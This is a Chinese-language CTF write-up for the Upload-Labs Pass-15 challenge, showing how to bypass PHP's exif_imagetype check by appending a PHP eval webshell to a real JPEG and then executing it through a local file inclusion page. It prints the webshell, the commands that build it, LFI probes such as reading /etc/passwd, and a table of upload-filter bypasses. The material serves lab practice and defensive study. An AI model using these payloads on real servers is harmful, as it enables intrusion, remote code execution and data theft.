☰
exif_imagetype绕过与图片马:文件上传+文件包含组合漏洞实战
2026/10/22 12:05:08 网站建设 项目流程

Pass-15这关,卡了我一整个下午。不是说它难,而是它把“文件上传”和“文件包含”这两个看似独立的漏洞点,用一条非常巧妙的链路串了起来。你必须先想明白 exif_imagetype 到底在检查什么,才能绕过它;你得先理解图片马为什么能执行,才能让一句话木马真正“活”过来。如果你刚接触CTF Web,或者对文件上传漏洞的绕过思路还停留在后缀名、Content-Type这些层面,那这篇Writeup建议你仔细看。我尽量不讲废话,直接把踩过的坑和最终的拿flag路径,一条条捋给你。

先说结论:这道题的核心考点是,服务端使用了exif_imagetype()函数校验上传文件是否为图片类型。它只检查文件头部的“图片签名”,不关心文件尾部附着了什么。所以解法就是:准备一张真的JPEG图片,把PHP代码追加在文件末尾,上传成功后,再借助文件包含漏洞去包含这个“图片马”,PHP代码就会被解析执行,最终拿到flag。下面我把从思路拆解到实操细节,一步步展开。

1. 题目环境与解题链路拆解

1.1 关卡功能分析

打开Pass-15,界面和之前的关卡差不多:一个文件上传表单,一个“上传”按钮,附带一句提示信息,大概意思是“本关只允许上传图片类型文件”。这句话信息量很大,它默认了你是知道检测机制的,但没告诉你用的什么函数。很多新手一上来就传个.php,直接被拦;再传个改了后缀名的.jpg,依然被拦。这时候就要冷静下来,先摸清楚服务端到底做了什么校验。

在Upload-Labs系列靶场里,每一关的源码都在服务端目录下,Pass-15的检测代码大致是这个逻辑:

$isImage = exif_imagetype($_FILES['upload_file']['tmp_name']); if (in_array($isImage, [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF])) { // 允许上传,保存文件 } else { // 拒绝上传 }

exif_imagetype()这个函数,很多人不熟悉。它不是看你文件后缀是不是.jpg,也不是看你HTTP请求里的Content-Type是不是image/jpeg,而是直接读取上传文件的二进制内容,只取开头的几个字节,和JPEG、PNG、GIF的“文件头签名”做比对,返回对应的整数常量。

这里的关键点就浮现出来了:它检查的是文件“头部”,而不是整个文件。也就是说,只要文件头是FF D8 FF(JPEG签名),后面哪怕你追加了1KB的PHP代码,exif_imagetype()依然会把整个文件判定为JPEG图片。这就是绕过检测的核心依据。

1.2 一句话概括解题路线

整个通关流程可以用三步概括:

  1. 制作图片马:用一张正常的JPEG图片,在文件末尾追加PHP一句话木马。
  2. 上传图片马:正常提交,因为文件头合法,会被判定为图片放行。
  3. 文件包含触发:找到靶场里的文件包含点,让服务端把图片马当PHP文件解析,从而执行木马,读取flag。

这三步缺一不可。没有图片马,只有一个正常图片,包含了也执行不了代码;没有文件包含点,图片马上传上去了也只是一张“带杂质的图片”,永远不会被PHP解析。这也是为什么我把这关称作“组合漏洞”的原因——单拎出来任何一个点,都不算特别难,但串成一条链,就非常考验对漏洞本质的理解。

2. 三个关键技术点的原理拆解

2.1 exif_imagetype 只认“脸”不认“心”

exif_imagetype()是PHP内置的一个图像检测函数,它的工作过程和getimagesize()有相似之处,但更轻量。它的逻辑是:读取文件的前若干个字节,通过二进制签名判断文件属于哪种图片格式。

常见的图片签名如下:

图片格式起始字节(十六进制)IMAGETYPE常量
JPEG/JPGFF D8 FFIMAGETYPE_JPEG = 2
PNG89 50 4E 47IMAGETYPE_PNG = 3
GIF47 49 46 38IMAGETYPE_GIF = 1

CTF里常说的“文件头”“魔数”“魔术字节”,指的都是这类信息。exif_imagetype()有点像火车站安检口的“人脸识别闸机”——它只看你是不是“那张脸”,至于你背包里装了什么,它不管。这与getimagesize()不同,后者会尝试解析整个图片结构,一旦图片文件被破坏,getimagesize()可能直接报错,而exif_imagetype()只要头几个字节对得上,它就放行。

我特意去查了一下PHP手册,exif_imagetype()实际上会读取文件的前12个字节,并对部分格式做进一步验证。但对JPEG来说,关键的判定依据就是前三个字节FF D8 FF。这意味着,我们构造的JPEG图片马,完全不需要是高保真大图,哪怕用画图工具随便存一张1×1像素的JPEG,只要前三个字节合规,就能通过检测。

2.2 图片马是怎么跑起来的

图片马的核心思想是:把PHP代码“藏”在一个合法图片文件里。最常见的方式是用一句话木马,例如:

<?php @eval($_POST['cmd']); ?>

或者简单一点:

<?php phpinfo(); ?>

在Pass-15里,我建议先传一个phpinfo();的图片马,验证代码能被解析,再传包含eval($_POST['cmd'])的版本,用蚁剑或冰蝎连接。为什么?因为如果直接上蚁剑连不上,你没办法确定是图片马制作问题、包含路径问题,还是连接工具配置问题。先传个无害的phpinfo(),只要执行了,就说明链路全通,接下来再换马就够了。

那么问题来了:为什么追加在图片尾部的PHP代码,在被上传后,只要被“包含”就能执行?

这涉及到PHP文件的解析机制。当PHP通过include或require引入一个文件时,它会把这个文件的内容当作PHP代码来解析。文件后缀名在大多数情况下不影响这个行为——你去include一个.txt文件,里面写了<?php phpinfo(); ?>,一样会执行。唯一的要求是:文件内容里能被识别为PHP代码的片段,必须是以<?php开头的块。

这一点还有个有趣的延伸:如果文件里既有图片数据,又有PHP代码,那PHP解析器对图片数据的处理方式是什么?答案是,它会尝试把图片的二进制数据当PHP代码解析,遇到无法识别的字节就跳过或报错(普通输出),直到遇到<?php才开始执行。这也是为什么图片马通常不会破坏图片本身,“图片显示正常,但包含后能执行代码”,这个特征在Pass-15里体现得淋漓尽致。

2.3 文件包含漏洞的连接作用

有了合法的图片马,还需要一个“点火”的动作,这个动作就是文件包含。Pass-15的配套漏洞,通常是一个通过URL参数控制文件的页面,类似:

<?php $file = $_GET['file']; include($file); ?>

这就是典型的本地文件包含(LFI)。攻击者可以控制$file变量的值,把它指向任意一个服务器上的文件。当我们把$file指向刚上传的图片马路径,图片马里的PHP代码就会被包含进来并执行。

这里有一个很多人忽视的点:Pass-15的检测逻辑里,上传目录和包含参数之间经常存在多层目录。比如上传后的路径可能是./upload/xxx.jpg,而包含页面在根目录include.php。如果URL里直接写相对路径,可能会因为目录层级不对而找不到文件。所以实操的时候,我会先确认上传后返回的路径信息,再决定包含参数怎么写。

文件包含漏洞的威力,往往取决于它和什么漏洞配合。单独的文件包含,可能只能读取敏感文件;一旦和文件上传组成“组合拳”,RCE(远程代码执行)就是大概率事件。Pass-15这道题,设定上就是专门为了让你体验这种组合攻击的。

3. 完整实操:从零打通Pass-15

3.1 环境准备与信息收集

实操前,先把环境确认好。我这里用的是本地搭建的Linux版Upload-Labs靶场,PHP版本是5.x或7.x均可,Apache或Nginx都行。浏览器我用的是Chrome,配合Burp Suite抓包看响应。如果你没有Burp,直接用浏览器开发者工具也能应付大部分情况。

打开Pass-15页面后,我习惯先做三个动作:

  1. 看页面HTML源码,找表单和任何前端JS限制。这一步可以发现前端是否做了后缀名校验(Pass-01的坑),以及是否有隐藏字段。
  2. 提交一张正常图片,观察返回信息。这能帮我确认上传成功的提示格式、文件保存路径、是否重命名等关键信息。
  3. 访问常见的include.php、?file=等页面,判断文件包含点是否存在。

Pass-15的表单没有任何前端JS限制,直接传就行。上传成功后,返回的消息里会直接给出文件路径,例如../upload/或./upload/。记录下这个路径,后面要用。

3.2 制作JPEG图片马

图片马制作,我推荐两种方式,都实测可用。

方法一:Linux命令行追加

先准备一张任意JPEG图片,命名为avatar.jpg,然后在同一目录下执行:

echo '<?php @eval($_POST["cmd"]); ?>' >> avatar.jpg

这条命令的作用是把PHP代码“追加”到图片文件的末尾。关键在于>>,这是追加写入,不会覆盖原文件内容。执行完以后,avatar.jpg的前几个字节依然是FF D8 FF,尾部多了PHP代码。

方法二:Windows下的copy命令

如果你用的是Windows,可以在命令行里这样做:

copy /b avatar.jpg + shell.txt shell.jpg

前提是你先建一个shell.txt,里面写上一句话木马内容。/b参数表示二进制合并。原理和Linux追加一致,只是工具不同。

两种方法最终生成的shell.jpg,我建议先用hexdump或16进制编辑器确认头部:

xxd shell.jpg | head -n 1

如果输出以ffd8ff开头,那说明图片头完好。这个动作非常关键,我有一次马制作失败,就是因为在Windows下没加/b参数,结果文件头部被文本内容污染了,上传时被exif_imagetype()直接判定为非图片。

3.3 上传图片马与响应观察

在Pass-15页面选择制作好的shell.jpg,点击上传。这一步正常操作,不需要改后缀、不需要改MIME类型,因为文件头本身就是合法的JPEG签名。

上传成功后,页面会提示类似“上传成功!”并显示上传目录。如果你抓包观察响应体,会看到返回的路径信息。这里有个细节:文件是否被重命名?有些关卡会把上传文件改为时间戳文件名,比如1718000000.jpg。如果重命名了,图片马内容不被修改,所以不影响后续包含执行。但如果关卡对文件名做了“过滤扩展名”处理,比如把.jpg改成.txt,那就需要注意,但Pass-15不涉及这个。

为了保险,我还会做一次“二次校验”:从我上传的目录直接访问这个图片,看浏览器能不能正常显示图片。如果图片能显示,说明图片结构基本完好,没有因为追加代码而被破坏(其实PHP代码追加到尾部,对图片解析没有影响)。这一步能排除图片本身损坏的情况。

3.4 精准命中文件包含点,完成RCE

接下来是最核心的一步:找到并利用文件包含点。

在Pass-15的环境里,通常会有一个类似include.php的文件,源码大致是:

<?php $file = $_GET['file']; include($file); ?>

访问它的时候构造:

include.php?file=upload/shell.jpg

注意这里的upload/shell.jpg路径,是相对于include.php所在目录的。如果你的环境里上传目录是../upload/,那URL就要相应调整。我习惯先放一个很明显的路径试探,比如:

include.php?file=upload/shell.jpg

如果页面出现了phpinfo()的输出,说明图片马里的PHP代码已经成功执行,攻击链路全通。如果页面显示乱码或出现图片的二进制内容,那大概率是路径错误或者PHP代码没有被解析。

拿到phpinfo()后,再把一句话木马换成eval($_POST['cmd'])的版本,重新上传、包含,然后用蚁剑连接。连接地址就是包含页面的URL,连接密码是cmd。蚁剑连上后,flag通常就躺在服务器根目录、/flag、/flag.txt或当前目录下,直接读取即可。

我自己的习惯是,连上后先执行whoami和ls -la,确认运行用户和当前目录,再顺着目录结构找flag。很多朋友一上来就cat /flag,结果找不到,就开始怀疑前面的步骤出了问题——其实只是因为没先看目录结构。

4. 常见问题与排查技巧实录

4.1 图片马上传失败:提示“文件不是图片类型”

这个问题的原因通常只有一个:图片马的头部校验没通过。可能是你找的图片本身就不是一个正规JPEG文件,比如把.php直接改名为.jpg;也可能是Windows下用copy命令时没加/b参数,导致文件头部被写入文本字符。

解决办法是,准备一张真实有效的JPEG图片(可以用系统自带的画图工具打开后另存为JPEG格式),再用xxd或者010 Editor这类工具看文件头。如果头部是FF D8 FF,那exif_imagetype()绝对会放行。如果头部不是,说明图片文件本身有问题。

4.2 文件包含后显示乱码或下载了图片

如果你访问include.php?file=upload/shell.jpg之后,浏览器出现一堆二进制乱码,或者直接弹出一个图片下载框,说明文件被包含进来了,但PHP代码没有被执行。为什么?

一个非常常见的原因是,包含点用了readfile()而不是include,前者是直接输出文件内容,后者才会解析PHP代码。如果源码是readfile($file),那这关就不是考RCE,而是考任意文件读取了。遇到这种情况,你就只能读文件,不能执行代码,需要换一个思路(比如读取源码,二次寻找其他入口)。

另一种可能是,图片马里的PHP代码写错了。比如少写了<?php,或者用<?短标签但PHP配置关闭了short_open_tag。我建议一律写完整的<?php,不要图省事用短标签。

4.3 包含路径总是不对

这是操作环节最容易翻车的点。上传后返回的路径可能是../upload/xxx.jpg,也可能是upload/xxx.jpg,还可能是绝对路径。你要先确定include.php的位置,再从它出发推导相对路径。

我有个笨但有效的方法:先让包含点读一次自己的源码,确认路径格式。比如访问:

include.php?file=include.php

如果页面原样输出了PHP源码(注意,include包含自身时,PHP会先解析再输出,通常不会输出源码,这里只是举例)。更稳妥的做法是,先读/etc/passwd或一个确定存在的文件,如果include.php?file=../../../../etc/passwd能看到内容,说明包含点在移动;接着再根据目录层级推算上传目录的路径。

这个验证方法很值得养成习惯:每一次打LFI,我都先读绝对路径的已知文件,确定包含成功,再去读目标文件。否则你花了十分钟改路径,最后发现文件根本不存在,心态很容易崩。

4.4 其他常见问题速查

我把这关可能遇到的问题整理成了一张表,方便你对照排查:

现象可能原因解决办法
上传提示“不是图片”图片头损坏重新制作图片马,用真实JPEG头
上传成功但包含后无反应包含路径错误先用/etc/passwd验证包含点
包含后是乱码使用了readfile()而非include找其他包含点,或读取源码找新思路
图片马执行了phpinfo()但蚁剑连不上马的内容不对/连接密码错误换标准eval($_POST['cmd']),核对密码
上传文件被重命名关卡配置了时间戳重命名不影响图片马执行,改路径即可
exif_imagetype显示非图片但头部明明是JPEG上传时被二次写入内容覆盖头部检查上传过程是否被服务端代码二次处理

4.5 绕过检测的一个可复用的套路

Pass-15用的是exif_imagetype(),但它只是文件上传校验家族里的一员。以后遇到类似关卡,你可以在脑子里建立一个“校验函数—绕过方法”的对照表:

服务端校验方式绕过思路
后端校验Content-Type抓包改Content-Type: image/jpeg
后端校验文件头(getimagesize/exif_imagetype)制作图片马,末尾追加代码
后端校验扩展名(黑名单)尝试.php3、.phtml、.pht等
后端校验扩展名(白名单)配合文件包含漏洞,上传图片马
二次渲染用保留PHP代码的图片,或攻击imagecopyresampled的逻辑
条件竞争先上传合法文件,在删除前瞬间访问执行

这张表也是我打文件上传类题目的底层框架。每遇到一关,我先判断它属于哪种校验方式,再调对应的绕过套路,效率会高很多。

Pass-15这个关卡,本质上就是“白名单+文件包含”的组合变种。它不要求你有多少骚操作,只要你把函数机制吃透,把图片马做对,把路径找对,就能顺理成章地打通。

我个人在实际操作中的体会是,这类题目最考验人的不是技术难度,而是“是否愿意动手验证每个不确定点”。比如上传后先看文件头、先读一个已知文件确认包含点,这些步骤看起来繁琐,但能省下后面大量试错的时间。踩过几次坑之后你就会明白,Writeup里那些看似轻松的“然后执行木马拿到flag”,背后都是无数次的路径调试和细节核对。

最后再分享一个小技巧:如果你打的靶场版本比较老,上传目录下可能已经躺了很多别人上传的马,不要直接拿过来用,因为可能是带后门的。自己动手造一个干净的图片马,成本不到一分钟,安全又可控。CTF练的是思路和手艺,不是捡漏。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询